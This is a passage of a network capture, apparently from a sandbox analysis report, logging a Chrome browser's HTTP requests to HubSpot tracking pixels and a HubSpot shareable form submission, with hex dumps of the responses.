{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wsOXIUmII7DXdyGFbzh7IcH2Jem9zewmxYT44T%2B%2Fri%2FLc%2BNx3rqkxFLm0Sigj0dsa3J81hbl1To2oF2bs4eB0d0j1Mh%2FBVduBJcCd%2Fpr8wKGsrkv6rFBUaGJxtWQ9jLgwAdt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:45:31 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49758	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	846	OUT	GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:32 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:32 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 4 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 544b93c1-2d2d-499d-aa20-17e34b1e9565 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-b6qgf x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 544b93c1-2d2d-499d-aa20-17e34b1e9565 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307cd70a9441a9-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:32 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49759	104.16.118.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	1328	OUT	GET /__ptq.gif?k=18&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371129218&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=4ihQEUKPqo_ulTxS_vGBJUaNrx0_oGNwi1HxNQc8ZIo-1734371129-1.0.1.1-FKxNazbuWkvlN_rfzqMqV5kSsqId3OXZbeUdimBI.THNWOD8b_unLTjZGtzIEg_WSpC3lKWhOBj_.Qq2TsTyoA; _cfuvid=8GTh7N1f9kXHxOnnEDc1xNoh3pfUdUpgsiaVLWEqP8Q-1734371129944-0.0.1.1-604800000
2024-12-16 17:45:32 UTC	1196	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:32 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307cd6ca5b8c81-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 4 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-frtkl x-evy-trace-virtual-host: all x-hubspot-correlation-id: 61de88ee-4186-463e-b18c-027bf7e80f15 x-request-id: 61de88ee-4186-463e-b18c-027bf7e80f15 x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UpVCjr8VceqKuQfrKKzcCykbjp8riTU%2FsZjkKAZu3BHo2RR6g9c86ZHvwcd3lhWTJWrpxrGp9k5J45TCXFydbMta1lSxzoodubuvSl6qkHUcikaN5sYcHAiSNTFJdKjY8sto"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:45:32 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49760	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	849	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:32 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:32 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 2 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 47f951b3-a93a-4d3d-ab5a-8aa024ccd924 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-hqfsm x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 47f951b3-a93a-4d3d-ab5a-8aa024ccd924 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307cd7f84342a6-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:32 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49761	172.64.146.132	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	557	OUT	GET /hubfs/48192692/images-4.png HTTP/1.1 Host: 48192692.fs1.hubspotusercontent-na1.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=XePQrCj9SQje7DCrJetJxTsmNcKctck20nFv6LkXIWU-1734371130-1.0.1.1-k2mDGs2Mn44sf.GKPjXeYRbPMWGFPvs3kmOXHUy1w01SpPJ_BAaGwLp2BuDjq5DBXr4ZMQUTiGTOLnET5uqZmg
2024-12-16 17:45:32 UTC	1334	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:32 GMT Content-Type: image/png Content-Length: 2167 Connection: close CF-Ray: 8f307cd86cab72c2-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 1720 Cache-Control: s-maxage=2592000, max-age=1209600, stale-while-revalidate=900 ETag: "7b0a0b2cff74eb72f180a4ecb4dc08c5" Last-Modified: Mon, 16 Dec 2024 17:16:52 GMT Vary: Accept Via: 1.1 64d968aa0a0b58a1d00cb142d02b0ac0.cloudfront.net (CloudFront) Access-Control-Allow-Methods: GET cache-tag: F-183952952717,P-48192692,FLS-ALL Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=2438 Edge-Cache-Tag: F-183952952717,P-48192692,FLS-ALL Timing-Allow-Origin: 48192692.fs1.hubspotusercontent-na1.net X-Amz-Cf-Id: zxUTVCX_wQXbPNJmzNUvFFAK8fu8rdxN_Iy66hDVBbpI-HprLx1NCQ== X-Amz-Cf-Pop: JFK52-P1 x-amz-id-2: r9ojo2tukXouaSCg7eRXS2s46ktQ9r0RZf+MdetEK53CU2M7gZ4vZe1sANh0RALIO/FglEpEQeg= x-amz-meta-access-tag: public-not-indexable x-amz-meta-cache-tag: F-183952952717,P-48192692,FLS-ALL x-amz-meta-created-unix-time-millis: 1734369411734 x-amz-meta-index-tag: none x-amz-replication-status: PENDING x-amz-request-id: NP1ZR0T855TXWA3G x-amz-server-side-encryption: AES256 x-amz-storage-class: INTELLIGENT_TIERING x-amz-version-id: ebkVxBdfPhlosnuSVATmu6d0LMyUzoYs X-Cache: Miss from cloudfront
2024-12-16 17:45:32 UTC	187	IN	Data Raw: 58 2d 48 53 2d 41 6c 74 65 72 6e 61 74 65 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 58 2d 48 53 2d 43 46 2d 4c 61 6d 62 64 61 3a 20 75 73 2d 65 61 73 74 2d 31 2e 45 6e 66 6f 72 63 65 41 63 6c 46 6f 72 52 65 61 64 73 20 33 0d 0a 58 2d 48 53 2d 43 46 2d 4c 61 6d 62 64 61 2d 45 6e 66 6f 72 63 65 3a 20 75 73 2d 65 61 73 74 2d 31 2e 45 6e 66 6f 72 63 65 41 63 6c 46 6f 72 52 65 61 64 73 20 33 0d 0a 58 2d 52 6f 62 6f 74 73 2d 54 61 67 3a 20 6e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: X-HS-Alternate-Content-Type: text/plainX-HS-CF-Lambda: us-east-1.EnforceAclForReads 3X-HS-CF-Lambda-Enforce: us-east-1.EnforceAclForReads 3X-Robots-Tag: noneServer: cloudflare
2024-12-16 17:45:32 UTC	1217	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0e 00 00 00 bb 08 03 00 00 00 a3 1f 80 e5 00 00 00 ea 50 4c 54 45 ff ff ff f1 f1 f1 e5 e5 e5 fa fa fa 5d 5d 5d a6 a6 a6 64 64 64 33 33 33 3c 3c 3c f6 f6 f6 4a 4a 4a 2c 2c 2c 24 24 24 1d 1d 1d df df df aa aa aa d2 d2 d2 6f 6f 6f 44 44 44 c0 ac ff a4 8b ff 51 1e 1e 1e 0d 0d 24 0f 0f e4 4e 4e 48 1b 1b 19 0a 0a dd 4b 4b ff 59 59 ff cb cb ff 61 61 ff ef ef ff 8b 8b ff 49 49 ff 52 52 ff 4f 4f ff 69 69 ff f6 f6 ff b5 b5 ff d5 d5 ff a3 a3 ff 83 83 ff 71 71 ff 91 91 ff dd dd ff be be ff ba ba d1 c0 ff 58 1a ff e8 df ff df 7e 87 e4 47 46 e8 93 99 3a 19 77 5e 25 ff ed e5 ff b5 9c ff 43 00 ff 4c 00 ff 24 00 74 42 01 d0 1e 00 5e 2b 0e 61 35 15 15 21 0d 00 0c 0c 0c c1 c1 c1 8d 8d 8d b8 b8 b8 52 52 52 15 15 15 96 Data Ascii: PNGIHDRPLTE]]]ddd333<<<JJJ,,,$$$oooDDDQ$NNHKKYYaaIIRROOiiqqX~GF:w^%CL$tB^+a5!RRR
2024-12-16 17:45:32 UTC	950	IN	Data Raw: 39 1d 43 d0 e4 63 04 31 ba e5 60 4c 36 47 36 ce 14 1b eb ca 1c d0 a0 e2 26 39 37 73 34 f2 00 94 c6 c8 11 7d 88 1c 87 cf 3f 35 a3 6f 3c d0 c4 f2 68 6a b1 f2 36 8f 8b 83 23 8e e1 ca 1c 90 a1 2e 28 db 79 8e 1c 7b 0c 34 cc c8 91 7e 80 1c 87 fd 1f c1 cc 11 58 cb 2f f8 85 58 32 9a a3 e1 38 09 db d7 e7 80 fa 8c 13 d9 2c 47 24 2e 40 8d 67 e4 68 7e 70 8e c3 be ff ab 93 79 75 5c cc e1 9b d7 8e ca 71 7a 8f 1c c0 2b 9c 48 16 af 0e 0e 1a fe 81 73 fc ff 9b fd fe f9 9b 17 a0 a8 b9 e3 cc 41 93 ce e6 8e 80 99 3f 81 1c ca 61 70 31 87 73 21 47 cf 4b ab 1d 2a c5 d2 dc 11 83 26 35 72 c4 57 e4 f8 f7 bf e6 fe f6 d7 57 af 55 0c 73 2f 4a 21 73 a8 49 55 29 c5 f5 b4 12 5d 16 98 39 cc 33 f4 78 53 d8 5b 14 c5 cd 27 cb 0a 34 d9 0f ca 61 fa fb b7 b0 20 14 cb 08 c5 3a 61 4f 1d 57 61 ae Data Ascii: 9Cc1`L6G6&97s4}?5o<hj6#.(y{4~X/X28,G$.@gh~pyu\qz+HsA?ap1s!GK*&5rWWUs/J!sIU)]93xS['4a :aOWa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	49763	104.16.117.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:32 UTC	1091	OUT	GET /__ptq.gif?k=15&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371127337&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=0W8Xsisx4_GEmtSEmk4n4e7mNv6LA8oFX_Fuoncr7nw-1734371131-1.0.1.1-d_pCOkpE65R070J7LgYnXL9IC5c6ClSuli1Htx9TkVodc4BCqYY6bfoCb0MY2JqXX5GFAf3Qg23ZjToNJPlU0g; _cfuvid=EX4vnjnhtkGJz.3gxOHf37tX9p5PhBwWaAwO0VK8Wzc-1734371131602-0.0.1.1-604800000
2024-12-16 17:45:33 UTC	1206	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:33 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307cdeea40c32f-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 4 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-wf92v x-evy-trace-virtual-host: all x-hubspot-correlation-id: 1a92ad92-93bf-4d34-91fd-1f741c20fe52 x-request-id: 1a92ad92-93bf-4d34-91fd-1f741c20fe52 x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5iDgSsVfwUh%2BIn%2BAavUhqtWXL5SZRtKMLsCz7VNw%2FVt%2Bt4cqGQRbACGfKUIc1Kd6H1%2FmvpOc7zLvx8kwI1lH9S0CFWLhthbl5uB63w9WtdVnjqhH3wy3Tn2v8QjM%2Fgyrcc9Q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:45:33 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	49762	104.16.117.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:32 UTC	1091	OUT	GET /__ptq.gif?k=17&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371127362&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
2024-12-16 17:45:33 UTC	1204	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:33 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307cdeede27d18-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 6 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-frtkl x-evy-trace-virtual-host: all x-hubspot-correlation-id: a8d3d6c3-516a-4109-a2a8-b5cb3ed6ac4d x-request-id: a8d3d6c3-516a-4109-a2a8-b5cb3ed6ac4d x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pXpcJQB8PallK9NeHNzmu%2FRuL7YajwdGJKRUN7289TQCEfIGszpRMCxgUPppNH47TESZFGNDB31iqtuDWr5Wka6F6zog05cH%2FY%2FBKSOj%2BfB8UMf%2Bw8EsVIaAXBSREl9cfr4f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:45:33 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49764	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:32 UTC	845	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:33 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:33 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 5 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: f52607b5-35dd-4d8b-a588-9df5bcb23b80 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-tffc2 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: f52607b5-35dd-4d8b-a588-9df5bcb23b80 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307cdeeec8c33d-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:33 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49765	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:33 UTC	884	OUT	POST /submissions/v3/public/submit/formsnext/multipart/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive Content-Length: 2609 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKF3fGXBJmtXxerho sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://share.hsforms.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:33 UTC	2609	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4b 46 33 66 47 58 42 4a 6d 74 58 78 65 72 68 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 73 5f 63 6f 6e 74 65 78 74 22 0d 0a 0d 0a 7b 22 65 6d 62 65 64 41 74 54 69 6d 65 73 74 61 6d 70 22 3a 22 31 37 33 34 33 37 31 31 32 38 34 36 31 22 2c 22 66 6f 72 6d 44 65 66 69 6e 69 74 69 6f 6e 55 70 64 61 74 65 64 41 74 22 3a 22 31 37 33 34 33 37 30 31 39 35 33 31 38 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 22 2c 22 65 6d 62 65 64 54 79 70 65 22 3a 22 53 48 41 52 45 41 42 4c 45 22 2c 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e Data Ascii: ------WebKitFormBoundaryKF3fGXBJmtXxerhoContent-Disposition: form-data; name="hs_context"{"embedAtTimestamp":"1734371128461","formDefinitionUpdatedAt":"1734370195318","lang":"en","embedType":"SHAREABLE","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win
2024-12-16 17:45:33 UTC	1367	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:33 GMT Content-Type: application/json;charset=utf-8 Transfer-Encoding: chunked Connection: close vary: origin access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: OPTIONS, POST access-control-allow-headers: * access-control-allow-credentials: false x-content-type-options: nosniff Cache-Control: max-age=0, no-cache, no-store x-envoy-upstream-service-time: 62 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 4b079b33-f517-4632-acd7-8f808090272e x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-pdcc5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 4b079b33-f517-4632-acd7-8f808090272e CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=4wP6Up15sOTCvqh09Xv_IyRNJlLi5tAWK0nIHT68kw8-1734371133-1.0.1.1-pQMH7Ep4ZCskW5VOxII5FRocvkz87dkbEGtLoTgB7DOxtLtKOXNoY3ebS4Lc8upqNGg58K2YFf_lctdLqxpYhA; path=/; expires=Mon, 16-Dec-24 18:15:33 GMT; domain=.hsforms.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Set-Cookie: 